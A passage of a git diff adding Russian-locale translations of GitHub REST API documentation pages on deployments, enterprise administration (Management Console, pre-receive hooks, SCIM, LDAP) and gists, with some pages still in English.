an optional `description` and `log_url`, which are highly recommended because they make deployment statuses more useful. The `log_url` is the full URL to the deployment output, and +the `description` is a high-level summary of what happened with the deployment. + +GitHub dispatches `deployment` and `deployment_status` events when new deployments and deployment statuses are created. These events allow third-party integrations to receive and respond to deployment requests, and update the status of a deployment as progress is made. + +Below is a simple sequence diagram for how these interactions would work. + +``` ++---------+ +--------+ +-----------+ +-------------+ +| Tooling | | GitHub | | 3rd Party | | Your Server | ++---------+ +--------+ +-----------+ +-------------+ + | | | | + | Create Deployment | | | + |--------------------->| | | + | | | | + | Deployment Created | | | + |<---------------------| | | + | | | | + | | Deployment Event | | + | |---------------------->| | + | | | SSH+Deploys | + | | |-------------------->| + | | | | + | | Deployment Status | | + | |<----------------------| | + | | | | + | | | Deploy Completed | + | | |<--------------------| + | | | | + | | Deployment Status | | + | |<----------------------| | + | | | | +``` + +Keep in mind that GitHub is never actually accessing your servers. It's up to your third-party integration to interact with deployment events. Multiple systems can listen for deployment events, and it's up to each of those systems to decide whether they're responsible for pushing the code out to your servers, building native code, etc. + +Note that the `repo_deployment` [OAuth scope](/developers/apps/scopes-for-oauth-apps) grants targeted access to deployments and deployment statuses **without** granting access to repository code, while the {% ifversion not ghae %}`public_repo` and{% endif %}`repo` scopes grant permission to code as well. + +### Inactive deployments + +When you set the state of a deployment to `success`, then all prior non-transient, non-production environment deployments in the same repository with the same environment name will become `inactive`. To avoid this, you can set `auto_inactive` to `false` when creating the deployment status. + +You can communicate that a transient environment no longer exists by setting its `state` to `inactive`. Setting the `state` to `inactive` shows the deployment as `destroyed` in {% data variables.product.prodname_dotcom %} and removes access to it. diff --git a/translations/ru-RU/content/rest/deployments/environments.md b/translations/ru-RU/content/rest/deployments/environments.md new file mode 100644 index 000000000000..12d1623b3a3f --- /dev/null +++ b/translations/ru-RU/content/rest/deployments/environments.md @@ -0,0 +1,25 @@ +--- +title: Среды развертывания +allowTitleToDifferFromFilename: true +shortTitle: Environments +intro: 'API сред развертывания позволяет создавать, настраивать и удалять среды развертывания.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: edee188d051c352cde25550ffa465439b1da6ea1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066381' +--- +## Сведения об API сред развертывания + +Дополнительные сведения о средах см. в разделе [Использование сред для развертывания](/actions/deployment/using-environments-for-deployment). Сведения об управлении секретами среды см. в разделе [Секреты](/rest/reference/actions#secrets). + +{% data reusables.gated-features.environments %} diff --git a/translations/ru-RU/content/rest/deployments/index.md b/translations/ru-RU/content/rest/deployments/index.md new file mode 100644 index 000000000000..e4629e20c3fd --- /dev/null +++ b/translations/ru-RU/content/rest/deployments/index.md @@ -0,0 +1,27 @@ +--- +title: Развернутые приложения +intro: 'API развертываний позволяет создавать и удалять ключи развертывания, сми развертывания и среды развертывания.' +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /deployments + - /environments + - /statuses + - /branch-policies +redirect_from: + - /rest/reference/deployments +ms.openlocfilehash: f46769d8d3bbfab7749b5bcd302712c2b0e7c01d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147549087' +--- + diff --git a/translations/ru-RU/content/rest/deployments/statuses.md b/translations/ru-RU/content/rest/deployments/statuses.md new file mode 100644 index 000000000000..e8c91b421bb6 --- /dev/null +++ b/translations/ru-RU/content/rest/deployments/statuses.md @@ -0,0 +1,20 @@ +--- +title: Состояния развертывания +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: e5ce10e87d08afe28d6151ce6270d48bfa3ae79d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884489' +--- + diff --git a/translations/ru-RU/content/rest/emojis.md b/translations/ru-RU/content/rest/emojis.md new file mode 100644 index 000000000000..16b96e47dd1b --- /dev/null +++ b/translations/ru-RU/content/rest/emojis.md @@ -0,0 +1,21 @@ +--- +title: Эмодзи +intro: 'С помощью API эмодзи можно отобразить список и изображения всех эмодзи, доступных для использования в {% data variables.product.product_name %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +redirect_from: + - /rest/reference/emojis +ms.openlocfilehash: 7cfb96dd592ac91f627fb8e3302f64bb8b487a29 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060052' +--- + diff --git a/translations/ru-RU/content/rest/enterprise-admin/admin-stats.md b/translations/ru-RU/content/rest/enterprise-admin/admin-stats.md new file mode 100644 index 000000000000..6be1e3b2cf77 --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/admin-stats.md @@ -0,0 +1,16 @@ +--- +title: Admin stats +intro: The Admin Stats API provides a variety of metrics about your installation. +versions: + ghes: '*' + ghae: '*' + ghec: '*' + fpt: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/ru-RU/content/rest/enterprise-admin/announcement.md b/translations/ru-RU/content/rest/enterprise-admin/announcement.md new file mode 100644 index 000000000000..d699a2b2f5fc --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/announcement.md @@ -0,0 +1,16 @@ +--- +title: Announcement +intro: The Announcement API allows you to manage the global announcement banner in your enterprise. +versions: + ghes: '*' + ghae: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +## Announcement + +The Announcements API allows you to manage the global announcement banner in your enterprise. For more information, see "[Customizing user messages for your enterprise](/admin/user-management/customizing-user-messages-for-your-enterprise#creating-a-global-announcement-banner)." + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/ru-RU/content/rest/enterprise-admin/audit-log.md b/translations/ru-RU/content/rest/enterprise-admin/audit-log.md new file mode 100644 index 000000000000..f5f5ec12fbe6 --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/audit-log.md @@ -0,0 +1,13 @@ +--- +title: Audit log +intro: '' +versions: + ghes: '*' + ghec: '*' + ghae: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/ru-RU/content/rest/enterprise-admin/billing.md b/translations/ru-RU/content/rest/enterprise-admin/billing.md new file mode 100644 index 000000000000..ff04adef94ab --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/billing.md @@ -0,0 +1,13 @@ +--- +title: Billing +intro: '' +versions: + fpt: '*' + ghes: '>=3.4' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/ru-RU/content/rest/enterprise-admin/global-webhooks.md b/translations/ru-RU/content/rest/enterprise-admin/global-webhooks.md new file mode 100644 index 000000000000..d50e201ec032 --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/global-webhooks.md @@ -0,0 +1,16 @@ +--- +title: Global Webhooks +intro: 'Global Webhooks are installed on your enterprise. You can use global webhooks to automatically monitor, respond to, or enforce rules for users, organizations, teams, and repositories on your enterprise.' +versions: + ghes: '*' + ghae: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +Global webhooks can subscribe to the [organization](/developers/webhooks-and-events/webhook-events-and-payloads#organization), [user](/developers/webhooks-and-events/webhook-events-and-payloads#user), [repository](/developers/webhooks-and-events/webhook-events-and-payloads#repository), [team](/developers/webhooks-and-events/webhook-events-and-payloads#team), [member](/developers/webhooks-and-events/webhook-events-and-payloads#member), [membership](/developers/webhooks-and-events/webhook-events-and-payloads#membership), [fork](/developers/webhooks-and-events/webhook-events-and-payloads#fork), and [ping](/developers/webhooks-and-events/about-webhooks#ping-event) event types. + +*This API is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. To learn how to configure global webhooks, see [About global webhooks](/enterprise/admin/user-management/about-global-webhooks). + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/ru-RU/content/rest/enterprise-admin/index.md b/translations/ru-RU/content/rest/enterprise-admin/index.md new file mode 100644 index 000000000000..4e9927d3a9d9 --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/index.md @@ -0,0 +1,84 @@ +--- +title: GitHub Enterprise administration +intro: You can use these endpoints to administer your enterprise. +allowTitleToDifferFromFilename: true +redirect_from: + - /v3/enterprise-admin + - /v3/enterprise + - /rest/reference/enterprise-admin +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +shortTitle: Enterprise administration +children: + - /admin-stats + - /announcement + - /audit-log + - /billing + - /global-webhooks + - /ldap + - /license + - /management-console + - /org-pre-receive-hooks + - /orgs + - /pre-receive-environments + - /pre-receive-hooks + - /repo-pre-receive-hooks + - /users + - /scim +--- + +{% ifversion fpt or ghec %} + +{% note %} + +**Note:** This article applies to {% data variables.product.prodname_ghe_cloud %}. To see the {% data variables.product.prodname_ghe_managed %} or {% data variables.product.prodname_ghe_server %} version, use the **{% data ui.pages.article_version %}** drop-down menu. + +{% endnote %} + +{% endif %} + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} + +### Endpoint URLs + +REST API endpoints{% ifversion ghes %}—except [Management Console](#management-console) API endpoints—{% endif %} are prefixed with the following URL: + +```shell +{% data variables.product.api_url_pre %} +``` + +{% ifversion fpt or ghec %} +When endpoints include `{enterprise}`, replace `{enterprise}` with the handle for your enterprise account, which is included in the URL for your enterprise settings. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `{enterprise}` with `octo-enterprise`. +{% endif %} + +{% ifversion ghes %} +[Management Console](#management-console) API endpoints are only prefixed with a hostname: + +```shell +http(s)://HOSTNAME/ +``` +{% endif %} +{% ifversion ghae or ghes %} +### Authentication + +Your {% data variables.product.product_name %} installation's API endpoints accept [the same authentication methods](/rest/overview/resources-in-the-rest-api#authentication) as the GitHub.com API. You can authenticate yourself with **[OAuth tokens](/apps/building-integrations/setting-up-and-registering-oauth-apps/)** {% ifversion ghes %}(which can be created using the [Authorizations API](/rest/reference/oauth-authorizations#create-a-new-authorization)) {% endif %}or **[basic authentication](/rest/overview/resources-in-the-rest-api#basic-authentication)**. {% ifversion ghes %} +OAuth tokens must have the `site_admin` [OAuth scope](/developers/apps/scopes-for-oauth-apps#available-scopes) when used with Enterprise-specific endpoints.{% endif %} + +Enterprise administration API endpoints are only accessible to authenticated {% data variables.product.product_name %} site administrators{% ifversion ghes %}, except for the [Management Console](#management-console) API, which requires the [Management Console password](/enterprise/admin/articles/accessing-the-management-console/){% endif %}. + +{% endif %} + +{% ifversion ghae or ghes %} +### Version information + +The current version of your enterprise is returned in the response header of every API: +`X-GitHub-Enterprise-Version: {{currentVersion}}.0` +You can also read the current version by calling the [meta endpoint](/rest/reference/meta/). + +{% endif %} diff --git a/translations/ru-RU/content/rest/enterprise-admin/ldap.md b/translations/ru-RU/content/rest/enterprise-admin/ldap.md new file mode 100644 index 000000000000..c4727266f536 --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/ldap.md @@ -0,0 +1,13 @@ +--- +title: LDAP +intro: 'You can use the LDAP API to update account relationships between a {% data variables.product.product_name %} user or team and its linked LDAP entry or queue a new synchronization.' +versions: + ghes: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +With the LDAP mapping endpoints, you're able to update the Distinguished Name (DN) that a user or team maps to. Note that the LDAP endpoints are generally only effective if your {% data variables.product.product_name %} appliance has [LDAP Sync enabled](/enterprise/admin/authentication/using-ldap). The [Update LDAP mapping for a user](#update-ldap-mapping-for-a-user) endpoint can be used when LDAP is enabled, even if LDAP Sync is disabled. + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/ru-RU/content/rest/enterprise-admin/license.md b/translations/ru-RU/content/rest/enterprise-admin/license.md new file mode 100644 index 000000000000..6af199decace --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/license.md @@ -0,0 +1,15 @@ +--- +title: License +intro: The License API provides information on your Enterprise license. +versions: + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/ru-RU/content/rest/enterprise-admin/management-console.md b/translations/ru-RU/content/rest/enterprise-admin/management-console.md new file mode 100644 index 000000000000..8bf82468bd74 --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/management-console.md @@ -0,0 +1,37 @@ +--- +title: Management Console +intro: 'The Management Console API helps you manage your {% data variables.product.product_name %} installation.' +versions: + ghes: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +{% tip %} + +You must explicitly set the port number when making API calls to the Management Console. If TLS is enabled on your enterprise, the port number is `8443`; otherwise, the port number is `8080`. + +If you don't want to provide a port number, you'll need to configure your tool to automatically follow redirects. + +You may also need to add the [`-k` flag](http://curl.haxx.se/docs/manpage.html#-k) when using `curl`, since {% data variables.product.product_name %} uses a self-signed certificate before you [add your own TLS certificate](/enterprise/admin/guides/installation/configuring-tls/). + +{% endtip %} + +### Authentication + +You need to pass your [Management Console password](/enterprise/admin/articles/accessing-the-management-console/) as an authentication token to every Management Console API endpoint except [`/setup/api/start`](#create-a-github-enterprise-server-license). + +Use the `api_key` parameter to send this token with each request. For example: + +```shell +$ curl -L 'https://HOSTNAME:ADMIN-PORT/setup/api?api_key=YOUR_PASSWORD' +``` + +You can also use standard HTTP authentication to send this token. For example: + +```shell +$ curl -L -u "api_key:YOUR_PASSWORD" 'https://HOSTNAME:ADMIN-PORT/setup/api' +``` + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/ru-RU/content/rest/enterprise-admin/org-pre-receive-hooks.md b/translations/ru-RU/content/rest/enterprise-admin/org-pre-receive-hooks.md new file mode 100644 index 000000000000..44a2256f6e1f --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/org-pre-receive-hooks.md @@ -0,0 +1,25 @@ +--- +title: Organization Pre-receive Hooks +intro: The Organization Pre-receive Hooks API allows you to view and modify enforcement of the pre-receive hooks that are available to an organization. +versions: + ghes: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +--- + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} + +### Object attributes + +| Name | Type | Description | +|----------------------------------|-----------|-----------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `enforcement` | `string` | The state of enforcement for the hook on this repository. | +| `allow_downstream_configuration` | `boolean` | Whether repositories can override enforcement. | +| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | + +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. + +`configuration_url` may be a link to this endpoint or this hook's global configuration. Only site admins are able to access the global configuration. diff --git a/translations/ru-RU/content/rest/enterprise-admin/orgs.md b/translations/ru-RU/content/rest/enterprise-admin/orgs.md new file mode 100644 index 000000000000..4f5bfb8d5277 --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/orgs.md @@ -0,0 +1,15 @@ +--- +title: Organizations +intro: The Organization Administration API allows you to create organizations on your enterprise. +versions: + ghes: '*' + ghae: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +--- + +*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/ru-RU/content/rest/enterprise-admin/pre-receive-environments.md b/translations/ru-RU/content/rest/enterprise-admin/pre-receive-environments.md new file mode 100644 index 000000000000..f03da691eab6 --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/pre-receive-environments.md @@ -0,0 +1,36 @@ +--- +title: Pre-receive Environments +intro: 'The Pre-receive Environments API allows you to create, list, update and delete environments for pre-receive hooks.' +versions: + ghes: '*' + ghae: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} + +### Object attributes + +#### Pre-receive Environment + +| Name | Type | Description | +|-----------------------|-----------|----------------------------------------------------------------------------| +| `name` | `string` | The name of the environment as displayed in the UI. | +| `image_url` | `string` | URL to the tarball that will be downloaded and extracted. | +| `default_environment` | `boolean` | Whether this is the default environment that ships with {% data variables.product.product_name %}. | +| `download` | `object` | This environment's download status. | +| `hooks_count` | `integer` | The number of pre-receive hooks that use this environment. | + +#### Pre-receive Environment Download + +| Name | Type | Description | +|-----------------|----------|---------------------------------------------------------| +| `state` | `string` | The state of the most recent download. | +| `downloaded_at` | `string` | The time when the most recent download started. | +| `message` | `string` | On failure, this will have any error messages produced. | + +Possible values for `state` are `not_started`, `in_progress`, `success`, `failed`. diff --git a/translations/ru-RU/content/rest/enterprise-admin/pre-receive-hooks.md b/translations/ru-RU/content/rest/enterprise-admin/pre-receive-hooks.md new file mode 100644 index 000000000000..e9fdf6e4a862 --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/pre-receive-hooks.md @@ -0,0 +1,29 @@ +--- +title: Pre-receive Hooks +intro: 'The Pre-receive Hooks API allows you to create, list, update and delete pre-receive hooks.' +versions: + ghes: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `404` response if they try to access it. + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} + +### Object attributes + +#### Pre-receive Hook + +| Name | Type | Description | +|----------------------------------|-----------|-----------------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `script` | `string` | The script that the hook runs. | +| `script_repository` | `object` | The GitHub repository where the script is kept. | +| `environment` | `object` | The pre-receive environment where the script is executed. | +| `enforcement` | `string` | The state of enforcement for this hook. | +| `allow_downstream_configuration` | `boolean` | Whether enforcement can be overridden at the org or repo level. | + +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject +any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. diff --git a/translations/ru-RU/content/rest/enterprise-admin/repo-pre-receive-hooks.md b/translations/ru-RU/content/rest/enterprise-admin/repo-pre-receive-hooks.md new file mode 100644 index 000000000000..cd2153eedf75 --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/repo-pre-receive-hooks.md @@ -0,0 +1,24 @@ +--- +title: Repository Pre-receive Hooks +intro: The Repository Pre-receive Hooks API allows you to view and modify enforcement of the pre-receive hooks that are available to a repository. +versions: + ghes: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +--- + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} + +### Object attributes + +| Name | Type | Description | +|---------------------|----------|-----------------------------------------------------------| +| `name` | `string` | The name of the hook. | +| `enforcement` | `string` | The state of enforcement for the hook on this repository. | +| `configuration_url` | `string` | URL for the endpoint where enforcement is set. | + +Possible values for *enforcement* are `enabled`, `disabled` and`testing`. `disabled` indicates the pre-receive hook will not run. `enabled` indicates it will run and reject any pushes that result in a non-zero status. `testing` means the script will run but will not cause any pushes to be rejected. + +`configuration_url` may be a link to this repository, it's organization owner or global configuration. Authorization to access the endpoint at `configuration_url` is determined at the owner or site admin level. diff --git a/translations/ru-RU/content/rest/enterprise-admin/scim.md b/translations/ru-RU/content/rest/enterprise-admin/scim.md new file mode 100644 index 000000000000..5f0be8c0ba5e --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/scim.md @@ -0,0 +1,74 @@ +--- +title: SCIM +intro: You can automate user creation and team memberships using the SCIM API. +versions: + ghes: '>=3.6' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +{% data reusables.scim.ghes-beta-note %} + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} +## About the SCIM API + +{% data variables.product.product_name %} provides a SCIM API for use by SCIM-enabled Identity Providers (IdPs). An integration on the IdP can use the API to automatically provision, manage, or deprovision user accounts on a {% data variables.product.product_name %} instance that uses SAML single sign-on (SSO) for authentication. For more information about SAML SSO, see "[About SAML for enterprise IAM](/admin/identity-and-access-management/using-saml-for-enterprise-iam/about-saml-for-enterprise-iam)." + +The SCIM API is based on SCIM 2.0. For more information, see the [specification](https://www.simplecloud.info/#Specification). + +### SCIM endpoint URLs + +An IdP can use the following root URL to communicate with the SCIM API for a {% data variables.product.product_name %} instance. + +``` +{% data variables.product.api_url_code %}/scim/v2/ +``` + +Endpoint URLs for the SCIM API are case-sensitive. For example, the first letter in the `Users` endpoint must be capitalized. + +```shell +GET /scim/v2/Users/{scim_user_id} +``` + +### Authenticating calls to the SCIM API + +The SCIM integration on the IdP performs actions on behalf of an enterprise owner for the {% data variables.product.product_name %} instance. For more information, see "[Roles in an enterprise](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-owners)." + +To authenticate requests to the API, the person who configures SCIM on the IdP must use a {% data variables.product.pat_v1 %} with `admin:enterprise` scope, which the IdP must provide in the request's `Authorization` header. For more information about {% data variables.product.pat_v1_plural %}, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)". + +{% note %} + +**Note:** Enterprise owners must generate and use a {% data variables.product.pat_v1 %} for authentication of requests to the SCIM API. {% ifversion ghes > 3.8 %}{% data variables.product.pat_v2_caps %} and {% endif %}GitHub app callers are not supported at this time. + +{% endnote %} + +### About mapping of SAML and SCIM data + +The {% data variables.product.product_name %} instance links each user who authenticates successfully with SAML SSO to a SCIM identity. To link the identities successfully, the SAML IdP and the SCIM integration must use matching SAML `NameID` and SCIM `userName` values for each user. + +{% ifversion ghes > 3.7 %} +{% note %} + +**Note:** If the {% data variables.product.product_name %} uses Azure AD as a SAML IdP, {% data variables.product.product_name %} will also check the SCIM `externalId` claim and SAML `http://schemas.microsoft.com/identity/claims/objectidentifier` claim to match users first, instead of using `NameID` and `userName`. + +{% endnote %} +{% endif %} + +### Supported SCIM user attributes + +The SCIM API's `User` endpoints support the following attributes within a request's parameters. + +| Name | Type | Description | +| :- | :- | :- | +| `displayName` | String | Human-readable name for a user. | +| `name.formatted` | String | The user's full name, including all middle names, titles, and suffixes, formatted for display. +| `name.givenName` | String | The first name of the user. | +| `name.familyName` | String | The last name of the user. | +| `userName` | String | The username for the user, generated by the IdP. Undergoes [normalization](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#about-username-normalization) before being used. +| `emails` | Array | List of the user's emails. | +| `roles` | Array | List of the user's roles. | +| `externalId` | String | This identifier is generated by an IdP provider. You can find the `externalId` for a user either on the IdP, or by using the [List SCIM provisioned identities](#list-scim-provisioned-identities-for-an-enterprise) endpoint and filtering on other known attributes, such as a user's username or email address on the {% data variables.product.product_name %} instance. | +| `id` | String | Identifier generated by the instance's SCIM endpoint. | +| `active` | Boolean | Indicates whether the identity is active (`true`) or should be suspended (`false`). | + diff --git a/translations/ru-RU/content/rest/enterprise-admin/users.md b/translations/ru-RU/content/rest/enterprise-admin/users.md new file mode 100644 index 000000000000..b5548dd5c772 --- /dev/null +++ b/translations/ru-RU/content/rest/enterprise-admin/users.md @@ -0,0 +1,14 @@ +--- +title: Users +intro: 'The User Administration API allows you to suspend{% ifversion ghes %}, unsuspend, promote, and demote{% endif %}{% ifversion ghae %} and unsuspend{% endif %} users on your enterprise.' +versions: + ghes: '*' + ghae: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +*It is only available to [authenticated](/rest/overview/resources-in-the-rest-api#authentication) site administrators.* Normal users will receive a `403` response if they try to access it. + +{% data reusables.user-settings.enterprise-admin-api-classic-pat-only %} diff --git a/translations/ru-RU/content/rest/gists/comments.md b/translations/ru-RU/content/rest/gists/comments.md new file mode 100644 index 000000000000..b61255f99de1 --- /dev/null +++ b/translations/ru-RU/content/rest/gists/comments.md @@ -0,0 +1,32 @@ +--- +title: Комментарии Gist +allowTitleToDifferFromFilename: true +shortTitle: Comments +intro: API комментариев Gist позволяет просматривать и изменять комментарии в gist. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 12e2052d0f8626f21c58cded1e0a158708bf3ab8 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147067540' +--- +## Сведения об API комментариев Gist + +API комментариев Gist позволяет просматривать и изменять комментарии в gist. Дополнительные сведения о gist см. в разделе [Редактирование и предоставление доступа к содержимому с помощью gist](/get-started/writing-on-github/editing-and-sharing-content-with-gists). + +### Пользовательские типы мультимедиа для комментариев Gist + +Это поддерживаемые типы мультимедиа для комментариев gist. + + application/vnd.github.VERSION.raw + application/vnd.github.VERSION.base64 + +Дополнительные сведения о типах мультимедиа см. в разделе [Пользовательские типы мультимедиа](/rest/overview/media-types). diff --git a/translations/ru-RU/content/rest/gists/gists.md b/translations/ru-RU/content/rest/gists/gists.md new file mode 100644 index 000000000000..d422059d1a4d --- /dev/null +++ b/translations/ru-RU/content/rest/gists/gists.md @@ -0,0 +1,44 @@ +--- +title: Gist +intro: 'API Gists позволяет авторизованному пользователю перечислять, создавать, обновлять и удалять общедоступные объекты gist на сайте GitHub.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: c51d9275950bbf303caa1a03344ba8402618d65b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136022' +--- +## Сведения об API Gist + +API Gist позволяет просматривать и изменять gist. Дополнительные сведения о gist см. в разделе [Редактирование и предоставление доступа к содержимому с помощью gist](/get-started/writing-on-github/editing-and-sharing-content-with-gists). + +### Аутентификация + +Можно читать общедоступные gist {% ifversion ghae or ghes %}и создавать их для анонимных пользователей без токена.{% else %} анонимно, но для создания gist необходимо выполнить вход в GitHub.{% endif %} Для чтения или записи gist от имени пользователя вам потребуется область OAuth Gist и токен. Дополнительные сведения см. в разделе [Области для приложений OAuth](/developers/apps/scopes-for-oauth-apps). + + + +### Усечение + +API Gist предоставляет до одного мегабайта содержимого для каждого файла в gist. Каждый файл, возвращаемый для gist через API, имеет ключ с именем `truncated`. Если `truncated` имеет значение `true`, это значит, что файл имеет слишком большой размер и в `content` возвращена только часть содержимого. + +Если требуется полное содержимое файла, можно выполнить запрос `GET` к URL-адресу, указанному в `raw_url`. Имейте в виду, что для файлов размером более десяти мегабайт необходимо клонировать gist по URL-адресу, предоставленному `git_pull_url`. + +Помимо усечения содержимого определенного файла, весь список файлов может быть усечен, если общее число файлов превышает 300. Если ключ верхнего уровня `truncated` имеет значение `true`, в списке файлов возвращены только первые 300 файлов. Если нужно получить все файлы gist, необходимо клонировать gist через URL-адрес, предоставленный `git_pull_url`. + +### Пользовательские типы мультимедиа для gist + +Ниже приведены поддерживаемые типы мультимедиа для получения содержимого gist. + + application/vnd.github.VERSION.raw + application/vnd.github.VERSION.base64 + +Дополнительные сведения см. в разделе [Типы носителей](/rest/overview/media-types). diff --git a/translations/ru-RU/content/rest/gists/index.md b/translations/ru-RU/content/rest/gists/index.md new file mode 100644 index 000000000000..b48ca2acb9dc --- /dev/null +++ b/translations/ru-RU/content/rest/gists/index.md @@ -0,0 +1,25 @@ +--- +title: Gist +intro: 'API Gists позволяет авторизованному пользователю перечислять, создавать, обновлять и удалять общедоступные объекты gist на {% data variables.product.product_name %}.' +redirect_from: + - /v3/gists + - /rest/reference/gists +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /gists + - /comments +ms.openlocfilehash: 72e59805b5ecd2813e864d2a3e882557341f5aff +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147066149' +--- + diff --git a/translations/ru-RU/content/rest/git/blobs.md b/translations/ru-RU/content/rest/git/blobs.md new file mode 100644 index 000000000000..245fff1180d4 --- /dev/null +++ 